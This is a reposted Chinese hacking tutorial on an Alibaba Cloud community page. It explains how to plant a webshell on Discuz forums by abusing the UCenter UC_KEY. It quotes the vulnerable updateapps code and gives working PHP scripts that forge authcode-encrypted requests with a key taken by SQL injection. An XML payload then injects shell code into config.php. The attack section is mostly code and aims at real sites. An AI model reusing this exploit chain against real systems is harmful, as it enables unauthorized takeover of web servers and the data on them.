DZ论坛系统 UC_KEY拿webshell-阿里云开发者社区

开发者社区> 技术小美> 正文

DZ论坛系统 UC_KEY拿webshell

简介:
+关注继续查看

关于DZ后台拿shell,很多同志都很苦恼是把,,不过最近外面看到一篇文章,应该 才出来的把,,这里给大家发出来把,。。

转载者:littleli

我们只要得到UC_KEY,提交数据就可以修改配置文件来得到Webshell,而UC_KEY是保存在UCENTER中,一般的管理员配置的时候都使用同一权限配置。
我们有一个注射,如此,这般……大笑三声,哈,哈,哈。

 


直接读取数据库uc_applications下的authkey即为UC_KEY。长度为64位。
再接着是post数据的提交。最后的格式为:替换成你的一句话Shell,如图11即可。

先生成需要的code

$get = $post = array();

        $code = @$_GET['code'];

        parse_str(authcode($code, 'DECODE', UC_KEY), $get);//需要UC_KEY进行解密

        if(MAGIC_QUOTES_GPC) {

                $get = sstripslashes($get);

        }

        if($_SGLOBAL['timestamp'] - $get['time'] > 3600) {//判断提交的时间

                exit('Authracation has expiried');

        }

        if(empty($get)) {

                exit('Invalid Request');

        }

        include_once S_ROOT.'./uc_client/lib/xml.class.php';

        //我们提交的数据和需要调用的函数,主要看updateapps

        $post = xml_unserialize(file_get_contents('php://input'));

        if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {

        $uc_note = new uc_note();

        echo $uc_note->$get['action']($get, $post);

        exit();

        } else {

                exit(API_RETURN_FAILED);

        }

        //……

        function updateapps($get, $post) {

                global $_SGLOBAL;

                if(!API_UPDATEAPPS) {

                        return API_RETURN_FORBIDDEN;

                }

                $UC_API = '';

                if($post['UC_API']) {

                        $UC_API = $post['UC_API'];

                        unset($post['UC_API']);

                }

                $cachefile = S_ROOT.'./uc_client/data/cache/apps.php';

                $fp = fopen($cachefile, 'w');

                $s = "<?php\r\n";

                $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";

                fwrite($fp, $s);

                fclose($fp);

                //配置文件

                if($UC_API && is_writeable(S_ROOT.'./config.php')) {

                        $configfile = trim(file_get_contents(S_ROOT.'./config.php'));

                        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

                        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);

                        if($fp = @fopen(S_ROOT.'./config.php', 'w')) {

                                @fwrite($fp, trim($configfile));

                                @fclose($fp);

                        }

                }

                return API_RETURN_SUCCEED;

        }
<?php

//这里为注射得到的UC_KEY

define('UC_KEY', '88V7m5VeF1Da9978a8ben5f1t317ldv78aPfWeP2D608h44e3ej1Xbt9m6mbl3L9');

//这里为时间和需要调用的函数,时间写大一些,避免不必要的错误。

$code='time=1391966342&action=updateapps';

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

        $ckey_length = 4;

        $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);

        $keya = md5(substr($key, 0, 16));

        $keyb = md5(substr($key, 16, 16));

        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);

        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

        $string_length = strlen($string);

        $result = '';

        $box = range(0, 255);

        $rndkey = array();

        for($i = 0; $i <= 255; $i++) {

                $rndkey[$i] = ord($cryptkey[$i % $key_length]);

        }

        for($j = $i = 0; $i < 256; $i++) {

                $j = ($j + $box[$i] + $rndkey[$i]) % 256;

                $tmp = $box[$i];

                $box[$i] = $box[$j];

                $box[$j] = $tmp;

        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {

                $a = ($a + 1) % 256;

                $j = ($j + $box[$a]) % 256;

                $tmp = $box[$a];

                $box[$a] = $box[$j];

                $box[$j] = $tmp;

                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

        }

        if($operation == 'DECODE') {

                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

                        return substr($result, 26);

                } else {

                        return '';

                }

        } else {

                return $keyc.str_replace('=', '', base64_encode($result));

        }

}

//这里为最后生成的$code

print_r(authcode($code, 'ENCODE', UC_KEY));

?>
<?php

include_once './uc_client/lib/xml.class.php';

$a=array("UC_API"=>"exploit code");

print_r(xml_serialize($a));

?>
<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">exploit code</item>

</root>

到这里哥总算有了个满意的效果,果断上网测试,但是从目标站里跑出的UC_KEY长度为124并不能成功。
测试了几个网站,发现个别网站数据库key长度为124时,config.php文件里的key为64位。
你丫不按常理出牌啊。

哥对天一叹,或许哥只能存在于传说之中。(不是转载者说的 – -。。。)

——————

作者:火枪手

















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/489717,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
10014 0
windows server 2008阿里云ECS服务器安全设置
最近我们Sinesafe安全公司在为客户使用阿里云ecs服务器做安全的过程中,发现服务器基础安全性都没有做。为了为站长们提供更加有效的安全基础解决方案,我们Sinesafe将对阿里云服务器win2008 系统进行基础安全部署实战过程! 比较重要的几部分 1.
9154 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,阿里云优惠总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系.
13814 0
如何设置阿里云服务器安全组?阿里云安全组规则详细解说
阿里云安全组设置详细图文教程(收藏起来) 阿里云服务器安全组设置规则分享,阿里云服务器安全组如何放行端口设置教程。阿里云会要求客户设置安全组,如果不设置,阿里云会指定默认的安全组。那么,这个安全组是什么呢?顾名思义,就是为了服务器安全设置的。安全组其实就是一个虚拟的防火墙,可以让用户从端口、IP的维度来筛选对应服务器的访问者,从而形成一个云上的安全域。
7456 0
阿里云服务器ECS登录用户名是什么?系统不同默认账号也不同
阿里云服务器Windows系统默认用户名administrator,Linux镜像服务器用户名root
4485 0
阿里云ECS云服务器初始化设置教程方法
阿里云ECS云服务器初始化是指将云服务器系统恢复到最初状态的过程,阿里云的服务器初始化是通过更换系统盘来实现的,是免费的,阿里云百科网分享服务器初始化教程: 服务器初始化教程方法 本文的服务器初始化是指将ECS云服务器系统恢复到最初状态,服务器中的数据也会被清空,所以初始化之前一定要先备份好。
7339 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,云吞铺子总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系统盘、创建快照、配置安全组等操作如何登录ECS云服务器控制台? 1、先登录到阿里云ECS服务器控制台 2、点击顶部的“控制台” 3、通过左侧栏,切换到“云服务器ECS”即可,如下图所示 通过ECS控制台的远程连接来登录到云服务器 阿里云ECS云服务器自带远程连接功能,使用该功能可以登录到云服务器,简单且方便,如下图:点击“远程连接”,第一次连接会自动生成6位数字密码,输入密码即可登录到云服务器上。
22364 0
+关注
6906
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
《2021云上架构与运维峰会演讲合集》
立即下载
《零基础CSS入门教程》
立即下载
《零基础HTML入门教程》
立即下载